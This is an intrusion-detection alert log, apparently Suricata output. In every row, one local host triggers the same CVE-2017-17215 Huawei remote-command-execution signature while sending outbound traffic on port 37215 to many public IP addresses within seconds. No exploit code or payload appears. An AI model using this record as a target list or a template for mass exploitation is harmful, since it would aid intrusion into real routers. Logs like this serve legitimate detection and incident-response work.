2024-09-25T14:14:22.361824+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53852	41.112.146.16	37215	TCP
2024-09-25T14:14:22.385800+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41832	156.167.82.254	37215	TCP
2024-09-25T14:14:23.961973+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57140	197.8.86.37	37215	TCP
2024-09-25T14:14:25.829235+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52692	156.250.70.236	37215	TCP
2024-09-25T14:14:28.099413+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46598	156.239.122.27	37215	TCP
2024-09-25T14:14:30.723480+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56408	197.232.85.84	37215	TCP
2024-09-25T14:14:30.860532+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	32832	197.137.197.243	37215	TCP
2024-09-25T14:14:30.862129+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39490	197.150.60.243	37215	TCP
2024-09-25T14:14:30.907600+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34480	197.62.234.103	37215	TCP
2024-09-25T14:14:30.974179+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44902	156.129.215.226	37215	TCP
2024-09-25T14:14:30.986677+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60866	197.4.255.13	37215	TCP
2024-09-25T14:14:30.986710+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42618	156.182.203.125	37215	TCP
2024-09-25T14:14:30.986710+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53700	41.204.214.55	37215	TCP
2024-09-25T14:14:30.987666+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42254	197.172.82.145	37215	TCP
2024-09-25T14:14:31.002045+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44094	156.10.102.1	37215	TCP
2024-09-25T14:14:31.002537+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38602	197.211.194.206	37215	TCP
2024-09-25T14:14:31.002552+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47866	41.186.58.182	37215	TCP
2024-09-25T14:14:31.002724+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57410	41.161.47.162	37215	TCP
2024-09-25T14:14:31.002918+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42828	156.43.122.92	37215	TCP
2024-09-25T14:14:31.002924+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53092	197.232.113.246	37215	TCP
2024-09-25T14:14:31.003033+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38586	197.117.239.45	37215	TCP
2024-09-25T14:14:31.003225+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43676	41.17.167.241	37215	TCP
2024-09-25T14:14:31.005082+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55974	197.22.8.23	37215	TCP
2024-09-25T14:14:31.005181+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59120	41.236.198.95	37215	TCP
2024-09-25T14:14:31.017774+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54084	197.44.240.204	37215	TCP
2024-09-25T14:14:31.018239+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46578	156.5.157.97	37215	TCP
2024-09-25T14:14:31.018239+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50220	41.35.202.34	37215	TCP
2024-09-25T14:14:31.018243+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42122	41.117.220.87	37215	TCP
2024-09-25T14:14:31.018545+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40592	156.231.211.64	37215	TCP
2024-09-25T14:14:31.018594+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51654	197.78.160.104	37215	TCP
2024-09-25T14:14:31.018610+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54036	41.7.172.29	37215	TCP
2024-09-25T14:14:31.018613+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40092	41.224.51.184	37215	TCP
2024-09-25T14:14:31.018621+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57062	197.213.83.147	37215	TCP
2024-09-25T14:14:31.032126+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50674	156.165.196.119	37215	TCP
2024-09-25T14:14:31.033759+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33078	197.122.68.154	37215	TCP
2024-09-25T14:14:31.048678+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60448	41.20.204.217	37215	TCP
2024-09-25T14:14:31.049359+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44744	197.86.207.86	37215	TCP
2024-09-25T14:14:31.049836+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37076	197.193.248.155	37215	TCP
2024-09-25T14:14:31.049904+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54974	156.218.179.250	37215	TCP
2024-09-25T14:14:31.050009+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41022	156.76.35.164	37215	TCP
2024-09-25T14:14:31.050069+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60396	197.136.135.76	37215	TCP
2024-09-25T14:14:31.051560+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47978	156.24.206.200	37215	TCP
2024-09-25T14:14:31.054440+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34102	41.205.14.22	37215	TCP
2024-09-25T14:14:31.065423+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52248	197.239.226.40	37215	TCP
2024-09-25T14:14:31.068533+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44888	41.24.178.92	37215	TCP
2024-09-25T14:14:31.068548+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42460	41.114.20.185	37215	TCP
2024-09-25T14:14:31.080040+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52156	156.142.59.249	37215	TCP
2024-09-25T14:14:31.080467+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44470	156.122.208.214	37215	TCP
2024-09-25T14:14:31.080475+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48696	197.102.48.75	37215	TCP
2024-09-25T14:14:31.080792+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45202	156.36.9.56	37215	TCP
2024-09-25T14:14:31.080978+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55888	41.138.112.209	37215	TCP
2024-09-25T14:14:31.081611+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33980	197.226.156.116	37215	TCP
2024-09-25T14:14:31.081619+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54704	41.126.121.77	37215	TCP
2024-09-25T14:14:31.081621+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57810	156.205.173.203	37215	TCP
2024-09-25T14:14:31.083548+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55606	41.85.169.189	37215	TCP
2024-09-25T14:14:31.083555+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47088	197.53.139.110	37215	TCP
2024-09-25T14:14:31.083684+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53184	41.0.127.129	37215	TCP
2024-09-25T14:14:31.097525+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48426	156.37.55.251	37215	TCP
2024-09-25T14:14:31.097885+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48530	197.108.73.223	37215	TCP
2024-09-25T14:14:31.097885+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45004	41.185.117.166	37215	TCP
2024-09-25T14:14:31.098571+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54552	41.253.163.98	37215	TCP
2024-09-25T14:14:31.098572+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34792	156.243.133.195	37215	TCP
2024-09-25T14:14:31.098594+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59818	41.83.106.232	37215	TCP
2024-09-25T14:14:31.098598+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47438	41.96.165.212	37215	TCP
2024-09-25T14:14:31.098631+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49694	197.10.32.113	37215	TCP
2024-09-25T14:14:31.126034+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60840	41.17.224.245	37215	TCP
2024-09-25T14:14:31.126179+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39966	156.172.137.208	37215	TCP
2024-09-25T14:14:31.126211+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48382	156.147.64.138	37215	TCP
2024-09-25T14:14:31.126748+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52282	156.159.53.215	37215	TCP
2024-09-25T14:14:31.128178+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55844	156.82.22.251	37215	TCP
2024-09-25T14:14:31.131880+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49128	197.187.150.219	37215	TCP
2024-09-25T14:14:31.141620+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40752	197.87.102.75	37215	TCP
2024-09-25T14:14:31.141840+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53366	41.213.184.0	37215	TCP
2024-09-25T14:14:31.142419+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39734	41.192.9.132	37215	TCP
2024-09-25T14:14:31.142768+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57158	156.252.250.218	37215	TCP
2024-09-25T14:14:31.146430+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54888	41.139.101.133	37215	TCP
2024-09-25T14:14:31.146437+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40276	41.190.5.55	37215	TCP
2024-09-25T14:14:31.146437+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43816	156.60.200.195	37215	TCP
2024-09-25T14:14:31.146437+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52766	197.103.101.114	37215	TCP
2024-09-25T14:14:31.146437+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53424	41.177.199.135	37215	TCP
2024-09-25T14:14:31.146488+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52648	156.82.102.137	37215	TCP
2024-09-25T14:14:31.146540+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58812	41.216.108.45	37215	TCP
2024-09-25T14:14:31.147450+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58474	156.10.172.17	37215	TCP
2024-09-25T14:14:31.157335+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35812	41.82.43.36	37215	TCP
2024-09-25T14:14:31.157341+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54928	156.186.222.188	37215	TCP
2024-09-25T14:14:31.157358+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47494	156.217.57.108	37215	TCP
2024-09-25T14:14:31.157637+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52332	197.210.89.215	37215	TCP
2024-09-25T14:14:31.162042+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57910	197.0.5.179	37215	TCP
2024-09-25T14:14:31.162061+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47260	156.7.11.250	37215	TCP
2024-09-25T14:14:31.162067+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52352	41.149.63.53	37215	TCP
2024-09-25T14:14:31.162079+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49444	156.194.100.66	37215	TCP
2024-09-25T14:14:31.162081+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45748	156.79.189.25	37215	TCP
2024-09-25T14:14:31.162111+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54830	156.189.101.111	37215	TCP
2024-09-25T14:14:31.162139+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56452	156.178.255.27	37215	TCP
2024-09-25T14:14:31.162145+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60180	41.125.117.102	37215	TCP
2024-09-25T14:14:31.163234+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50584	41.214.110.3	37215	TCP
2024-09-25T14:14:31.172897+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50448	41.173.74.236	37215	TCP
2024-09-25T14:14:31.174609+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40712	41.4.254.46	37215	TCP
2024-09-25T14:14:31.188829+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37068	41.114.110.174	37215	TCP
2024-09-25T14:14:31.188877+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37646	156.39.222.238	37215	TCP
2024-09-25T14:14:31.188963+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52532	197.73.214.226	37215	TCP
2024-09-25T14:14:31.188975+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36708	197.177.156.30	37215	TCP
2024-09-25T14:14:31.194251+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37560	41.251.248.239	37215	TCP
2024-09-25T14:14:31.194273+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33496	156.190.179.85	37215	TCP
2024-09-25T14:14:31.194279+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58588	41.89.167.118	37215	TCP
2024-09-25T14:14:31.194279+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37632	156.42.73.218	37215	TCP
2024-09-25T14:14:31.194283+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53884	197.11.4.247	37215	TCP
2024-09-25T14:14:31.194287+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35998	156.207.216.152	37215	TCP
2024-09-25T14:14:31.194336+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33936	41.30.78.64	37215	TCP
2024-09-25T14:14:31.194345+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39082	197.86.239.160	37215	TCP
2024-09-25T14:14:31.194346+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44062	41.177.1.74	37215	TCP
2024-09-25T14:14:31.194352+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54808	156.26.39.47	37215	TCP
2024-09-25T14:14:31.194425+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53560	41.135.197.14	37215	TCP
2024-09-25T14:14:31.204794+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34244	156.137.155.99	37215	TCP
2024-09-25T14:14:31.204810+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41636	197.97.88.153	37215	TCP
2024-09-25T14:14:31.204812+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60920	41.134.91.195	37215	TCP
2024-09-25T14:14:31.208125+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38110	197.231.175.245	37215	TCP
2024-09-25T14:14:31.210817+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46528	41.2.163.52	37215	TCP
2024-09-25T14:14:31.210827+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41444	41.165.106.77	37215	TCP
2024-09-25T14:14:31.210832+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57708	156.150.87.77	37215	TCP
2024-09-25T14:14:31.210832+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42856	197.58.228.114	37215	TCP
2024-09-25T14:14:31.214145+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44828	156.135.251.155	37215	TCP
2024-09-25T14:14:31.220033+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56820	156.202.78.248	37215	TCP
2024-09-25T14:14:31.221255+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42912	156.56.63.6	37215	TCP
2024-09-25T14:14:31.221582+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54450	197.219.223.91	37215	TCP
2024-09-25T14:14:31.226107+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37720	197.23.164.92	37215	TCP
2024-09-25T14:14:31.236870+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51518	156.175.237.207	37215	TCP
2024-09-25T14:14:31.255069+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56118	41.185.23.149	37215	TCP
2024-09-25T14:14:31.262110+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50012	41.26.175.192	37215	TCP
2024-09-25T14:14:31.485511+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34746	197.186.28.45	37215	TCP
2024-09-25T14:14:31.501074+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46334	41.21.108.191	37215	TCP
2024-09-25T14:14:31.504449+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50832	156.219.163.0	37215	TCP
2024-09-25T14:14:31.510132+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43304	156.33.99.108	37215	TCP
2024-09-25T14:14:31.515981+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33820	156.47.26.203	37215	TCP
2024-09-25T14:14:31.516569+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54296	41.98.119.45	37215	TCP
2024-09-25T14:14:31.516576+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39448	41.164.250.178	37215	TCP
2024-09-25T14:14:31.518322+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38374	41.111.186.112	37215	TCP
2024-09-25T14:14:31.522327+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39948	41.189.109.120	37215	TCP
2024-09-25T14:14:31.531801+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59056	156.134.127.99	37215	TCP
2024-09-25T14:14:31.531803+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36318	197.125.193.227	37215	TCP
2024-09-25T14:14:31.531898+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58412	156.158.45.127	37215	TCP
2024-09-25T14:14:31.532024+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48156	156.34.181.226	37215	TCP
2024-09-25T14:14:31.532035+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54560	41.146.247.208	37215	TCP
2024-09-25T14:14:31.532226+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47298	197.20.94.33	37215	TCP
2024-09-25T14:14:31.532264+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37020	197.170.117.10	37215	TCP
2024-09-25T14:14:31.532501+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54100	197.138.35.126	37215	TCP
2024-09-25T14:14:31.532942+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45698	41.167.193.247	37215	TCP
2024-09-25T14:14:31.532943+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44884	41.63.0.247	37215	TCP
2024-09-25T14:14:31.532946+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56224	156.131.165.57	37215	TCP
2024-09-25T14:14:31.533900+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42646	41.141.128.89	37215	TCP
2024-09-25T14:14:31.533912+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40338	41.36.136.239	37215	TCP
2024-09-25T14:14:31.534048+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56384	156.5.29.152	37215	TCP
2024-09-25T14:14:31.534103+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36732	197.190.221.23	37215	TCP
2024-09-25T14:14:31.534103+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34226	41.180.9.202	37215	TCP
2024-09-25T14:14:31.535410+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58258	197.176.176.248	37215	TCP
2024-09-25T14:14:31.536091+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57530	41.23.9.240	37215	TCP
2024-09-25T14:14:31.536661+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42192	197.251.163.22	37215	TCP
2024-09-25T14:14:31.537997+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50806	156.187.174.94	37215	TCP
2024-09-25T14:14:31.538018+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51174	197.190.213.211	37215	TCP
2024-09-25T14:14:31.538089+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48914	156.115.211.80	37215	TCP
2024-09-25T14:14:31.548650+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56352	41.60.198.199	37215	TCP
2024-09-25T14:14:31.548663+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43598	197.8.14.51	37215	TCP
2024-09-25T14:14:31.549477+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42852	156.205.105.230	37215	TCP
